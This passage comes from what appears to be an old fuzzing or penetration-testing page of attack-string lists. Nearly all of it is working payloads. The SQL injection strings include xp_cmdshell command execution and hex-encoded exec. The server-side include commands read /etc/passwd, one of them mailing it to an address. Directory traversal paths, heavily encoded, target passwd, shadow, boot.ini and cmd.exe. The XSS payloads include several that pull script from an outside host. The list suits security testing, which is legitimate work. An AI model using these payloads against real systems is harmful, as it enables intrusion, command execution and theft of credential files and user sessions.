0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: 30 July 2007 - Total Statements: 4) ===<br /> &lt;pre&gt;<br /> # Some server side include statements<br /> # Foobar@email.de<br /> <br /> &amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt;<br /> <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Discovery Statements ===<br /> <br /> Discovery Statements<br /> &lt;pre&gt;# Discovery Statements (July 2007)<br /> # Statements used to cause exploitable errors<br /> # Foobar@email.de<br /> <br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> <br /> Common exploit code <br /> &lt;pre&gt;# Best Statements (July 2007)<br /> # Statements covering 90% of all vulnerabilities <br /> # Foobar@email.de<br /> <br /> '&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt;<br /> <br /> Full List - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;# Full List (July 2007)<br /> # All Statements - Full List <br /> # Based on the XSS cheat sheet <br /> # http://ha.ckers.org/xss.html<br /> # Foobar@email.de<br /> <br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH 